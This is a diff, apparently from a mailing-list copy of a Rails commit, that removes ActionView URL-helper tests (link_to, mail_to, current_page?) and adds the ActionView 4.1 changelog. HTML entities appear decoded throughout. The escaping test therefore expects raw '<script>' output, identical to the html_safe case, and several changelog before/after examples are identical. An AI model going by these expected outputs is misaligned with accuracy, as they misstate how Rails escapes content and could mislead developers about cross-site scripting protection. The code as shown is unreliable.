-    expected = %{<a href="http://www.example.com?q1=v1&q2=v2">http://www.example.com?q1=v1&q2=v2</a>}
-    assert_dom_equal expected, link_to(nil, "http://www.example.com?q1=v1&q2=v2")
-  end
-
-  def test_link_tag_with_back
-    env = {"HTTP_REFERER" => "http://www.example.com/referer"}
-    @controller = Struct.new(:request).new(Struct.new(:env).new(env))
-    expected = %{<a href="#{env["HTTP_REFERER"]}">go back</a>}
-    assert_dom_equal expected, link_to('go back', :back)
-  end
-
-  def test_link_tag_with_back_and_no_referer
-    @controller = Struct.new(:request).new(Struct.new(:env).new({}))
-    link = link_to('go back', :back)
-    assert_dom_equal %{<a href="javascript:history.back()">go back</a>}, link
-  end
-
-  def test_link_tag_with_img
-    link = link_to("<img src='/favicon.jpg' />".html_safe, "/")
-    expected = %{<a href="/"><img src='/favicon.jpg' /></a>}
-    assert_dom_equal expected, link
-  end
-
-  def test_link_with_nil_html_options
-    link = link_to("Hello", url_hash, nil)
-    assert_dom_equal %{<a href="/">Hello</a>}, link
-  end
-
-  def test_link_tag_with_custom_onclick
-    link = link_to("Hello", "http://www.example.com", onclick: "alert('yay!')")
-    expected = %{<a href="http://www.example.com" onclick="alert('yay!')">Hello</a>}
-    assert_dom_equal expected, link
-  end
-
-  def test_link_tag_with_javascript_confirm
-    assert_dom_equal(
-      %{<a href="http://www.example.com" data-confirm="Are you sure?">Hello</a>},
-      link_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
-    )
-    assert_dom_equal(
-      %{<a href="http://www.example.com" data-confirm="You cant possibly be sure, can you?">Hello</a>},
-      link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure, can you?" })
-    )
-    assert_dom_equal(
-      %{<a href="http://www.example.com" data-confirm="You cant possibly be sure,\n can you?">Hello</a>},
-      link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure,\n can you?" })
-    )
-  end
-
-  def test_link_tag_with_deprecated_confirm
-    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
-      assert_dom_equal(
-        %{<a href="http://www.example.com" data-confirm="Are you sure?">Hello</a>},
-        link_to("Hello", "http://www.example.com", confirm: "Are you sure?")
-      )
-    end
-    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
-      assert_dom_equal(
-        %{<a href="http://www.example.com" data-confirm="You cant possibly be sure, can you?">Hello</a>},
-        link_to("Hello", "http://www.example.com", confirm: "You cant possibly be sure, can you?")
-      )
-    end
-    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
-      assert_dom_equal(
-        %{<a href="http://www.example.com" data-confirm="You cant possibly be sure,\n can you?">Hello</a>},
-        link_to("Hello", "http://www.example.com", confirm: "You cant possibly be sure,\n can you?")
-      )
-    end
-  end
-
-  def test_link_to_with_remote
-    assert_dom_equal(
-      %{<a href="http://www.example.com" data-remote="true">Hello</a>},
-      link_to("Hello", "http://www.example.com", remote: true)
-    )
-  end
-
-  def test_link_to_with_remote_false
-    assert_dom_equal(
-      %{<a href="http://www.example.com">Hello</a>},
-      link_to("Hello", "http://www.example.com", remote: false)
-    )
-  end
-
-  def test_link_to_with_symbolic_remote_in_non_html_options
-    assert_dom_equal(
-      %{<a href="/" data-remote="true">Hello</a>},
-      link_to("Hello", hash_for(remote: true), {})
-    )
-  end
-
-  def test_link_tag_using_block_and_hash
-    assert_dom_equal(
-      %{<a href="/"><span>Example site</span></a>},
-      link_to(url_hash) { content_tag(:span, 'Example site') }
-    )
-  end
-
-  def test_link_to_with_string_remote_in_non_html_options
-    assert_dom_equal(
-      %{<a href="/" data-remote="true">Hello</a>},
-      link_to("Hello", hash_for('remote' => true), {})
-    )
-  end
-
-  def test_link_tag_using_post_javascript
-    assert_dom_equal(
-      %{<a href="http://www.example.com" data-method="post" rel="nofollow">Hello</a>},
-      link_to("Hello", "http://www.example.com", method: :post)
-    )
-  end
-
-  def test_link_tag_using_delete_javascript
-    assert_dom_equal(
-      %{<a href="http://www.example.com" rel="nofollow" data-method="delete">Destroy</a>},
-      link_to("Destroy", "http://www.example.com", method: :delete)
-    )
-  end
-
-  def test_link_tag_using_delete_javascript_and_href
-    assert_dom_equal(
-      %{<a href="\#" rel="nofollow" data-method="delete">Destroy</a>},
-      link_to("Destroy", "http://www.example.com", method: :delete, href: '#')
-    )
-  end
-
-  def test_link_tag_using_post_javascript_and_rel
-    assert_dom_equal(
-      %{<a href="http://www.example.com" data-method="post" rel="example nofollow">Hello</a>},
-      link_to("Hello", "http://www.example.com", method: :post, rel: 'example')
-    )
-  end
-
-  def test_link_tag_using_post_javascript_and_confirm
-    assert_dom_equal(
-      %{<a href="http://www.example.com" data-method="post" rel="nofollow" data-confirm="Are you serious?">Hello</a>},
-      link_to("Hello", "http://www.example.com", method: :post, data: { confirm: "Are you serious?" })
-    )
-  end
-
-  def test_link_tag_using_post_javascript_and_with_deprecated_confirm
-    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
-      assert_dom_equal(
-        %{<a href="http://www.example.com" data-method="post" rel="nofollow" data-confirm="Are you serious?">Hello</a>},
-        link_to("Hello", "http://www.example.com", method: :post, confirm: "Are you serious?")
-      )
-    end
-  end
-
-  def test_link_tag_using_delete_javascript_and_href_and_confirm
-    assert_dom_equal(
-      %{<a href="\#" rel="nofollow" data-confirm="Are you serious?" data-method="delete">Destroy</a>},
-      link_to("Destroy", "http://www.example.com", method: :delete, href: '#', data: { confirm: "Are you serious?" })
-    )
-  end
-
-  def test_link_tag_using_delete_javascript_and_href_and_with_deprecated_confirm
-    assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
-      assert_dom_equal(
-        %{<a href="\#" rel="nofollow" data-confirm="Are you serious?" data-method="delete">Destroy</a>},
-        link_to("Destroy", "http://www.example.com", method: :delete, href: '#', confirm: "Are you serious?")
-      )
-    end
-  end
-
-  def test_link_tag_with_block
-    assert_dom_equal %{<a href="/"><span>Example site</span></a>},
-      link_to('/') { content_tag(:span, 'Example site') }
-  end
-
-  def test_link_tag_with_block_and_html_options
-    assert_dom_equal %{<a class="special" href="/"><span>Example site</span></a>},
-      link_to('/', class: "special") { content_tag(:span, 'Example site') }
-  end
-
-  def test_link_tag_using_block_in_erb
-    out = render_erb %{<%= link_to('/') do %>Example site<% end %>}
-    assert_equal '<a href="/">Example site</a>', out
-  end
-
-  def test_link_tag_with_html_safe_string
-    assert_dom_equal(
-      %{<a href="/article/Gerd_M%C3%BCller">Gerd Müller</a>},
-      link_to("Gerd Müller", article_path("Gerd_Müller".html_safe))
-    )
-  end
-
-  def test_link_tag_escapes_content
-    assert_dom_equal %{<a href="/">Malicious <script>content</script></a>},
-      link_to("Malicious <script>content</script>", "/")
-  end
-
-  def test_link_tag_does_not_escape_html_safe_content
-    assert_dom_equal %{<a href="/">Malicious <script>content</script></a>},
-      link_to("Malicious <script>content</script>".html_safe, "/")
-  end
-
-  def test_link_to_unless
-    assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
-
-    assert_dom_equal %{<a href="/">Listing</a>},
-      link_to_unless(false, "Listing", url_hash)
-
-    assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
-
-    assert_equal "<strong>Showing</strong>",
-      link_to_unless(true, "Showing", url_hash) { |name|
-        "<strong>#{name}</strong>".html_safe
-      }
-
-    assert_equal "test",
-      link_to_unless(true, "Showing", url_hash) {
-        "test"
-      }
-
-    assert_equal %{<b>Showing</b>}, link_to_unless(true, "<b>Showing</b>", url_hash)
-    assert_equal %{<a href="/"><b>Showing</b></a>}, link_to_unless(false, "<b>Showing</b>", url_hash)
-    assert_equal %{<b>Showing</b>}, link_to_unless(true, "<b>Showing</b>".html_safe, url_hash)
-    assert_equal %{<a href="/"><b>Showing</b></a>}, link_to_unless(false, "<b>Showing</b>".html_safe, url_hash)
-  end
-
-  def test_link_to_if
-    assert_equal "Showing", link_to_if(false, "Showing", url_hash)
-    assert_dom_equal %{<a href="/">Listing</a>}, link_to_if(true, "Listing", url_hash)
-    assert_equal "Showing", link_to_if(false, "Showing", url_hash)
-  end
-
-  def request_for_url(url, opts = {})
-    env = Rack::MockRequest.env_for("http://www.example.com#{url}", opts)
-    ActionDispatch::Request.new(env)
-  end
-
-  def test_current_page_with_http_head_method
-    @request = request_for_url("/", :method => :head)
-    assert current_page?(url_hash)
-    assert current_page?("http://www.example.com/")
-  end
-
-  def test_current_page_with_simple_url
-    @request = request_for_url("/")
-    assert current_page?(url_hash)
-    assert current_page?("http://www.example.com/")
-  end
-
-  def test_current_page_ignoring_params
-    @request = request_for_url("/?order=desc&page=1")
-
-    assert current_page?(url_hash)
-    assert current_page?("http://www.example.com/")
-  end
-
-  def test_current_page_with_params_that_match
-    @request = request_for_url("/?order=desc&page=1")
-
-    assert current_page?(hash_for(order: "desc", page: "1"))
-    assert current_page?("http://www.example.com/?order=desc&page=1")
-  end
-
-  def test_current_page_with_not_get_verb
-    @request = request_for_url("/events", method: :post)
-
-    assert !current_page?('/events')
-  end
-
-  def test_current_page_with_escaped_params
-    @request = request_for_url("/category/administra%c3%a7%c3%a3o")
-
-    assert current_page?(controller: 'foo', action: 'category', category: 'administração')
-  end
-
-  def test_current_page_with_escaped_params_with_different_encoding
-    @request = request_for_url("/")
-    @request.stubs(path: "/category/administra%c3%a7%c3%a3o".force_encoding(Encoding::ASCII_8BIT))
-
-    assert current_page?(:controller => 'foo', :action => 'category', category: 'administração')
-    assert current_page?("http://www.example.com/category/administra%c3%a7%c3%a3o")
-  end
-
-  def test_current_page_with_double_escaped_params
-    @request = request_for_url("/category/administra%c3%a7%c3%a3o?callback_url=http%3a%2f%2fexample.com%2ffoo")
-
-    assert current_page?(controller: 'foo', action: 'category', category: 'administração', callback_url: 'http://example.com/foo')
-  end
-
-  def test_link_unless_current
-    @request = request_for_url("/")
-
-    assert_equal "Showing",
-      link_to_unless_current("Showing", url_hash)
-    assert_equal "Showing",
-      link_to_unless_current("Showing", "http://www.example.com/")
-
-    @request = request_for_url("/?order=desc")
-
-    assert_equal "Showing",
-      link_to_unless_current("Showing", url_hash)
-    assert_equal "Showing",
-      link_to_unless_current("Showing", "http://www.example.com/")
-
-    @request = request_for_url("/?order=desc&page=1")
-
-    assert_equal "Showing",
-      link_to_unless_current("Showing", hash_for(order: 'desc', page: '1'))
-    assert_equal "Showing",
-      link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=1")
-
-    @request = request_for_url("/?order=desc")
-
-    assert_equal %{<a href="/?order=asc">Showing</a>},
-      link_to_unless_current("Showing", hash_for(order: :asc))
-    assert_equal %{<a href="http://www.example.com/?order=asc">Showing</a>},
-      link_to_unless_current("Showing", "http://www.example.com/?order=asc")
-
-    @request = request_for_url("/?order=desc")
-    assert_equal %{<a href="/?order=desc&page=2\">Showing</a>},
-      link_to_unless_current("Showing", hash_for(order: "desc", page: 2))
-    assert_equal %{<a href="http://www.example.com/?order=desc&page=2">Showing</a>},
-      link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=2")
-
-    @request = request_for_url("/show")
-
-    assert_equal %{<a href="/">Listing</a>},
-      link_to_unless_current("Listing", url_hash)
-    assert_equal %{<a href="http://www.example.com/">Listing</a>},
-      link_to_unless_current("Listing", "http://www.example.com/")
-  end
-
-  def test_mail_to
-    assert_dom_equal %{<a href="mailto:david at loudthinking.com">david at loudthinking.com</a>}, mail_to("david at loudthinking.com")
-    assert_dom_equal %{<a href="mailto:david at loudthinking.com">David Heinemeier Hansson</a>}, mail_to("david at loudthinking.com", "David Heinemeier Hansson")
-    assert_dom_equal(
-      %{<a class="admin" href="mailto:david at loudthinking.com">David Heinemeier Hansson</a>},
-      mail_to("david at loudthinking.com", "David Heinemeier Hansson", "class" => "admin")
-    )
-    assert_equal mail_to("david at loudthinking.com", "David Heinemeier Hansson", "class" => "admin"),
-                 mail_to("david at loudthinking.com", "David Heinemeier Hansson", class: "admin")
-  end
-
-  def test_mail_with_options
-    assert_dom_equal(
-      %{<a href="mailto:me at example.com?cc=ccaddress%40example.com&bcc=bccaddress%40example.com&body=This%20is%20the%20body%20of%20the%20message.&subject=This%20is%20an%20example%20email">My email</a>},
-      mail_to("me at example.com", "My email", cc: "ccaddress at example.com", bcc: "bccaddress at example.com", subject: "This is an example email", body: "This is the body of the message.")
-    )
-  end
-
-  def test_mail_to_with_img
-    assert_dom_equal %{<a href="mailto:feedback at example.com"><img src="/feedback.png" /></a>},
-      mail_to('feedback at example.com', '<img src="/feedback.png" />'.html_safe)
-  end
-
-  def test_mail_to_returns_html_safe_string
-    assert mail_to("david at loudthinking.com").html_safe?
-  end
-
-  def test_mail_to_with_block
-    assert_dom_equal %{<a href="mailto:me at example.com"><span>Email me</span></a>},
-      mail_to('me at example.com') { content_tag(:span, 'Email me') }
-  end
-
-  def test_mail_to_with_block_and_options
-    assert_dom_equal %{<a class="special" href="mailto:me at example.com?cc=ccaddress%40example.com"><span>Email me</span></a>},
-      mail_to('me at example.com', cc: "ccaddress at example.com", class: "special") { content_tag(:span, 'Email me') }
-  end
-
-  def test_mail_to_does_not_modify_html_options_hash
-    options = { class: 'special' }
-    mail_to 'me at example.com', 'ME!', options
-    assert_equal({ class: 'special' }, options)
-  end
-
-  def protect_against_forgery?
-    self.request_forgery
-  end
-
-  def form_authenticity_token
-    "secret"
-  end
-
-  def request_forgery_protection_token
-    "form_token"
-  end
-
-  private
-    def sort_query_string_params(uri)
-      path, qs = uri.split('?')
-      qs = qs.split('&').sort.join('&') if qs
-      qs ? "#{path}?#{qs}" : path
-    end
-end
-
-class UrlHelperControllerTest < ActionController::TestCase
-  class UrlHelperController < ActionController::Base
-    test_routes do
-      get 'url_helper_controller_test/url_helper/show/:id',
-        to: 'url_helper_controller_test/url_helper#show',
-        as: :show
-
-      get 'url_helper_controller_test/url_helper/profile/:name',
-        to: 'url_helper_controller_test/url_helper#show',
-        as: :profile
-
-      get 'url_helper_controller_test/url_helper/show_named_route',
-        to: 'url_helper_controller_test/url_helper#show_named_route',
-        as: :show_named_route
-
-      get "/:controller(/:action(/:id))"
-
-      get 'url_helper_controller_test/url_helper/normalize_recall_params',
-        to: UrlHelperController.action(:normalize_recall),
-        as: :normalize_recall_params
-
-      get '/url_helper_controller_test/url_helper/override_url_helper/default',
-        to: 'url_helper_controller_test/url_helper#override_url_helper',
-        as: :override_url_helper
-    end
-
-    def show
-      if params[:name]
-        render inline: 'ok'
-      else
-        redirect_to profile_path(params[:id])
-      end
-    end
-
-    def show_url_for
-      render inline: "<%= url_for controller: 'url_helper_controller_test/url_helper', action: 'show_url_for' %>"
-    end
-
-    def show_overridden_url_for
-      render inline: "<%= url_for params.merge(controller: 'url_helper_controller_test/url_helper', action: 'show_url_for') %>"
-    end
-
-    def show_named_route
-      render inline: "<%= show_named_route_#{params[:kind]} %>"
-    end
-
-    def nil_url_for
-      render inline: '<%= url_for(nil) %>'
-    end
-
-    def normalize_recall_params
-      render inline: '<%= normalize_recall_params_path %>'
-    end
-
-    def recall_params_not_changed
-      render inline: '<%= url_for(action: :show_url_for) %>'
-    end
-
-    def override_url_helper
-      render inline: '<%= override_url_helper_path %>'
-    end
-
-    def override_url_helper_path
-      '/url_helper_controller_test/url_helper/override_url_helper/override'
-    end
-    helper_method :override_url_helper_path
-  end
-
-  tests UrlHelperController
-
-  def test_url_for_shows_only_path
-    get :show_url_for
-    assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
-  end
-
-  def test_overridden_url_for_shows_only_path
-    get :show_overridden_url_for
-    assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
-  end
-
-  def test_named_route_url_shows_host_and_path
-    get :show_named_route, kind: 'url'
-    assert_equal 'http://test.host/url_helper_controller_test/url_helper/show_named_route',
-      @response.body
-  end
-
-  def test_named_route_path_shows_only_path
-    get :show_named_route, kind: 'path'
-    assert_equal '/url_helper_controller_test/url_helper/show_named_route', @response.body
-  end
-
-  def test_url_for_nil_returns_current_path
-    get :nil_url_for
-    assert_equal '/url_helper_controller_test/url_helper/nil_url_for', @response.body
-  end
-
-  def test_named_route_should_show_host_and_path_using_controller_default_url_options
-    class << @controller
-      def default_url_options
-        { host: 'testtwo.host' }
-      end
-    end
-
-    get :show_named_route, kind: 'url'
-    assert_equal 'http://testtwo.host/url_helper_controller_test/url_helper/show_named_route', @response.body
-  end
-
-  def test_recall_params_should_be_normalized
-    get :normalize_recall_params
-    assert_equal '/url_helper_controller_test/url_helper/normalize_recall_params', @response.body
-  end
-
-  def test_recall_params_should_not_be_changed
-    get :recall_params_not_changed
-    assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
-  end
-
-  def test_recall_params_should_normalize_id
-    get :show, id: '123'
-    assert_equal 302, @response.status
-    assert_equal 'http://test.host/url_helper_controller_test/url_helper/profile/123', @response.location
-
-    get :show, name: '123'
-    assert_equal 'ok', @response.body
-  end
-
-  def test_url_helper_can_be_overridden
-    get :override_url_helper
-    assert_equal '/url_helper_controller_test/url_helper/override_url_helper/override', @response.body
-  end
-end
-
-class TasksController < ActionController::Base
-  test_routes do
-    resources :tasks
-  end
-
-  def index
-    render_default
-  end
-
-  def show
-    render_default
-  end
-
-  protected
-    def render_default
-      render inline: "<%= link_to_unless_current('tasks', tasks_path) %>\n" +
-        "<%= link_to_unless_current('tasks', tasks_url) %>"
-    end
-end
-
-class LinkToUnlessCurrentWithControllerTest < ActionController::TestCase
-  tests TasksController
-
-  def test_link_to_unless_current_to_current
-    get :index
-    assert_equal "tasks\ntasks", @response.body
-  end
-
-  def test_link_to_unless_current_shows_link
-    get :show, id: 1
-    assert_equal %{<a href="/tasks">tasks</a>\n} +
-      %{<a href="#{@request.protocol}#{@request.host_with_port}/tasks">tasks</a>},
-      @response.body
-  end
-end
-
-class Session
-  extend ActiveModel::Naming
-  include ActiveModel::Conversion
-  attr_accessor :id, :workshop_id
-
-  def initialize(id)
-    @id = id
-  end
-
-  def persisted?
-    id.present?
-  end
-
-  def to_s
-    id.to_s
-  end
-end
-
-class WorkshopsController < ActionController::Base
-  test_routes do
-    resources :workshops do
-      resources :sessions
-    end
-  end
-
-  def index
-    @workshop = Workshop.new(nil)
-    render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
-  end
-
-  def show
-    @workshop = Workshop.new(params[:id])
-    render inline: "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
-  end
-end
-
-class SessionsController < ActionController::Base
-  test_routes do
-    resources :workshops do
-      resources :sessions
-    end
-  end
-
-  def index
-    @workshop = Workshop.new(params[:workshop_id])
-    @session = Session.new(nil)
-    render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
-  end
-
-  def show
-    @workshop = Workshop.new(params[:workshop_id])
-    @session = Session.new(params[:id])
-    render inline: "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
-  end
-end
-
-class PolymorphicControllerTest < ActionController::TestCase
-  def test_new_resource
-    @controller = WorkshopsController.new
-
-    get :index
-    assert_equal %{/workshops\n<a href="/workshops">Workshop</a>}, @response.body
-  end
-
-  def test_existing_resource
-    @controller = WorkshopsController.new
-
-    get :show, id: 1
-    assert_equal %{/workshops/1\n<a href="/workshops/1">Workshop</a>}, @response.body
-  end
-
-  def test_new_nested_resource
-    @controller = SessionsController.new
-
-    get :index, workshop_id: 1
-    assert_equal %{/workshops/1/sessions\n<a href="/workshops/1/sessions">Session</a>}, @response.body
-  end
-
-  def test_existing_nested_resource
-    @controller = SessionsController.new
-
-    get :show, workshop_id: 1, id: 1
-    assert_equal %{/workshops/1/sessions/1\n<a href="/workshops/1/sessions/1">Session</a>}, @response.body
-  end
-end
diff --git a/actionview/CHANGELOG.md b/actionview/CHANGELOG.md
new file mode 100644
index 0000000..2881f94
--- /dev/null
+++ b/actionview/CHANGELOG.md
@@ -0,0 +1,401 @@
+## Rails 4.1.4 (July 2, 2014) ##
+
+*   No changes.
+
+
+## Rails 4.1.3 (July 2, 2014) ##
+
+*   No changes.
+
+
+## Rails 4.1.2 (June 26, 2014) ##
+
+*   Change `asset_path` to use File.join to create proper paths.
+
+        https://some.host.com//assets/some.js
+
+    becomes
+
+        https://some.host.com/assets/some.js
+
+    *Peter Schröder*
+
+*   `collection_check_boxes` respects `:index` option for the hidden field name.
+
+    Fixes #14147.
+
+    *Vasiliy Ermolovich*
+
+*   `date_select` helper with option `with_css_classes: true` does not overwrite other classes.
+
+    *Izumi Wong-Horiuchi*
+
+
+## Rails 4.1.1 (May 6, 2014) ##
+
+*   No changes.
+
+
+## Rails 4.1.0 (April 8, 2014) ##
+
+*   Fixed ActionView::Digestor template lookup to use the lookup_context exclusively, and not rely on the passed-in format.
+    This unfortunately means that the cache_key changed, so upgrading will invalidate all prior caches. Take note if you rely
+    heavily on caching in production when you push this live.
+
+    *DHH*
+
+*   `number_to_percentage` does not crash with `Float::NAN` or `Float::INFINITY`
+    as input.
+
+    Fixes #14405.
+
+    *Yves Senn*
+
+*   Take variants into account when calculating template digests in ActionView::Digestor.
+
+    The arguments to ActionView::Digestor#digest are now being passed as a hash
+    to support variants and allow more flexibility in the future. The support for
+    regular (required) arguments is deprecated and will be removed in Rails 5.0 or later.
+
+    *Piotr Chmolowski, Łukasz Strzałkowski*
+
+*   Fix a problem where the default options for the `button_tag` helper were not
+    being applied correctly.
+
+    Fixes #14255.
+
+    *Sergey Prikhodko*
+
+*   Fix ActionView label translation for more than 10 nested elements.
+
+    *Vladimir Krylov*
+
+*   Added `:plain`, `:html` and `:body` options for `render` method. Please see
+    the ActionPack release notes for more detail.
+
+    *Prem Sichanugrist*
+
+*   Date select helpers accept a format string for the months selector via the
+    new option `:month_format_string`.
+
+    When rendered, the format string gets passed keys `:number` (integer), and
+    `:name` (string), in order to be able to interpolate them as in
+
+        '%{name} (%<number>02d)'
+
+    for example.
+
+    This option is motivated by #13618.
+
+    *Xavier Noria*
+
+*   Added `config.action_view.raise_on_missing_translations` to define whether an
+    error should be raised for missing translations.
+
+    Fixes #13196.
+
+    *Kassio Borges*
+
+*   Improved ERB dependency detection. New argument types and formattings for the `render`
+    calls can be matched.
+
+    Fixes #13074, #13116.
+
+    *João Britto*
+
+*   Use `display:none` instead of `display:inline` for hidden fields.
+
+    Fixes #6403.
+
+    *Gaelian Ditchburn*
+
+*   The `video_tag` helper now accepts a number for `:size`.
+
+    The `:size` option of the `video_tag` helper now can be specified
+    with a stringified number. The `width` and `height` attributes of
+    the generated tag will be the same.
+
+    *Kuldeep Aggarwal*
+
+*   Escape format, negative_format and units options of number helpers
+
+    Fixes: CVE-2014-0081
+
+*   A Cycle object should accept an array and cycle through it as it would with a set of
+    comma-separated objects.
+
+        arr = [1,2,3]
+        cycle(arr) # => '1'
+        cycle(arr) # => '2'
+        cycle(arr) # => '3'
+
+    Previously, it would return the array as a string, because it took the array as a
+    single object:
+
+        arr = [1,2,3]
+        cycle(arr) # => '[1,2,3]'
+        cycle(arr) # => '[1,2,3]'
+        cycle(arr) # => '[1,2,3]'
+
+    *Kristian Freeman*
+
+*   Label tags generated by collection helpers only inherit the `:index` and
+    `:namespace` from the input, because only these attributes modify the
+    `for` attribute of the label. Also, the input attributes don't have
+    precedence over the label attributes anymore.
+
+    Before:
+
+        collection = [[1, true, { class: 'foo' }]]
+        f.collection_check_boxes :options, collection, :second, :first do |b|
+          b.label(class: 'my_custom_class')
+        end
+
+        # => <label class="foo" for="user_active_true">1</label>
+
+    After:
+
+        collection = [[1, true, { class: 'foo' }]]
+        f.collection_check_boxes :options, collection, :second, :first do |b|
+          b.label(class: 'my_custom_class')
+        end
+
+        # => <label class="my_custom_class" for="user_active_true">1</label>
+
+    *Andriel Nuernberg*
+
+*   Fix a long-standing bug in `json_escape` that caused quotation marks to be stripped.
+    This method also escapes the \u2028 and \u2029 unicode newline characters which are
+    treated as \n in JavaScript. This matches the behaviour of the AS::JSON encoder. (The
+    original change in the encoder was introduced in #10534.)
+
+    *Godfrey Chan*
+
+*   `ActionView::MissingTemplate` includes underscore when raised for a partial.
+
+    Fixes #13002.
+
+    *Yves Senn*
+
+*   Use `set_backtrace` instead of instance variable `@backtrace` in ActionView exceptions.
+
+    *Shimpei Makimoto*
+
+*   Fix `simple_format` escapes own output when passing `sanitize: true`.
+
+    *Paul Seidemann*
+
+*   Ensure `ActionView::Digestor.cache` is correctly cleaned up when
+    combining recursive templates with `ActionView::Resolver.caching = false`.
+
+    *wyaeld*
+
+*   Fix `collection_check_boxes` so the generated hidden input correctly uses the
+    name attribute provided in the options hash.
+
+    *Angel N. Sciortino*
+
+*   Fix some edge cases for the AV `select` helper with the `:selected` option.
+
+    *Bogdan Gusiev*
+
+*   Enable passing a block to the `select` helper.
+
+    Example:
+
+        <%= select(report, "campaign_ids") do %>
+          <% available_campaigns.each do |c| -%>
+            <%= content_tag(:option, c.name, value: c.id, data: { tags: c.tags.to_json }) %>
+          <% end -%>
+        <% end -%>
+
+    *Bogdan Gusiev*
+
+*   Handle `:namespace` form option in collection labels.
+
+    *Vasiliy Ermolovich*
+
+*   Fix `form_for` when both `namespace` and `as` options are present.
+
+    The `as` option no longer overwrites the `namespace` option when
+    generating an HTML id attribute of the form element.
+
+    *Adam Niedzielski*
+
+*   Fix `excerpt` when `:separator` is `nil`.
+
+    *Paul Nikitochkin*
+
+*   Only cache template digests if `config.cache_template_loading` is true.
+
+    *Josh Lauer*, *Justin Ridgewell*
+
+*   Fix a bug where the lookup details were not being taken into account
+    when caching the digest of a template - changes to the details now
+    cause a different cache key to be used.
+
+    *Daniel Schierbeck*
+
+*   Added an `extname` hash option to the `javascript_include_tag` method.
+
+    Before:
+
+        javascript_include_tag('templates.jst')
+        # => <script src="/javascripts/templates.jst.js"></script>
+
+    After:
+
+        javascript_include_tag('templates.jst', extname: false )
+        # => <script src="/javascripts/templates.jst"></script>
+
+    *Nathan Stitt*
+
+*   Fix `current_page?` when the URL contains escaped characters and the
+    original URL is using the hexadecimal lowercased.
+
+    *Rafael Mendonça França*
+
+*   Fix `text_area` to behave like `text_field` when `nil` is given as a
+    value.
+
+    Before:
+
+        f.text_field :field, value: nil #=> <input value="">
+        f.text_area :field, value: nil  #=> <textarea>value of field</textarea>
+
+    After:
+
+        f.text_area :field, value: nil  #=> <textarea></textarea>
+
+    *Joel Cogen*
+
+*   Allow `grouped_options_for_select` to optionally contain html attributes
+    as the last element of the array.
+
+        grouped_options_for_select(
+          [["North America", [['United States','US'],"Canada"], data: { foo: 'bar' }]]
+        )
+
+    *Vasiliy Ermolovich*
+
+*   Fix default rendered format problem when calling `render` without :content_type option.
+    It should return :html. Fix #11393.
+
+    *Gleb Mazovetskiy*, *Oleg*, *kennyj*
+
+*   Fix `link_to` with block and url hashes.
+
+    Before:
+
+        link_to(action: 'bar', controller: 'foo') { content_tag(:span, 'Example site') }
+        # => "<a action=\"bar\" controller=\"foo\"><span>Example site</span></a>"
+
+    After:
+
+        link_to(action: 'bar', controller: 'foo') { content_tag(:span, 'Example site') }
+        # => "<a href=\"/foo/bar\"><span>Example site</span></a>"
+
+    *Murahashi Sanemat Kenichi*
+
+*   Fix "Stack Level Too Deep" error when rendering recursive partials.
+
+    Fixes #11340.
+
+    *Rafael Mendonça França*
+
+*   Added an `enforce_utf8` hash option for `form_tag` method.
+
+    Control to output a hidden input tag with name `utf8` without monkey
+    patching.
+
+    Before:
+
+        form_tag
+        # => '<form>..<input name="utf8" type="hidden" value="&#x2713;" />..</form>'
+
+    After:
+
+        form_tag
+        # => '<form>..<input name="utf8" type="hidden" value="&#x2713;" />..</form>'
+
+        form_tag({}, { :enforce_utf8 => false })
+        # => '<form>....</form>'
+
+    *ma2gedev*
+
+*   Remove the deprecated `include_seconds` argument from `distance_of_time_in_words`,
+    pass in an `:include_seconds` hash option to use this feature.
+
+    *Carlos Antonio da Silva*
+
+*   Remove deprecated block passing to `FormBuilder#new`.
+
+    *Vipul A M*
+
+*   Pick `DateField` `DateTimeField` and `ColorField` values from stringified options
+    allowing use of symbol keys with helpers.
+
+    *Jon Rowe*
+
+*   Remove the deprecated `prompt` argument from `grouped_options_for_select`,
+    pass in a `:prompt` hash option to use this feature.
+
+    *kennyj*
+
+*   Always escape the result of `link_to_unless` methods.
+
+    Before:
+
+        link_to_unless(true, '<b>Showing</b>', 'github.com')
+        # => "<b>Showing</b>"
+
+    After:
+
+        link_to_unless(true, '<b>Showing</b>', 'github.com')
+        # => "<b>Showing</b>"
+
+    *dtaniwaki*
+
+*   Use a case insensitive URI Regexp for #asset_path.
+
+    This fixes a problem where the same asset path using different cases
+    was generating different URIs.
+
+    Before:
+
+        image_tag("HTTP://google.com")
+        # => "<img alt=\"Google\" src=\"/assets/HTTP://google.com\" />"
+        image_tag("http://google.com")
+        # => "<img alt=\"Google\" src=\"http://google.com\" />"
+
+    After:
+
+        image_tag("HTTP://google.com")
+        # => "<img alt=\"Google\" src=\"HTTP://google.com\" />"
+        image_tag("http://google.com")
+        # => "<img alt=\"Google\" src=\"http://google.com\" />"
+
+    *David Celis*
+
+*   Allow `collection_check_boxes` and `collection_radio_buttons` to
+    optionally contain html attributes as the last element of the array.
+
+    *Vasiliy Ermolovich*
+
+*   Update the HTML `BOOLEAN_ATTRIBUTES` in `ActionView::Helpers::TagHelper`
+    to conform to the latest HTML 5.1 spec. Add attributes `allowfullscreen`,
+    `default`, `inert`, `sortable`, `truespeed`, `typemustmatch`. Fix attribute
+    `seamless` (previously misspelled `seemless`).
+
+    *Alex Peattie*
+
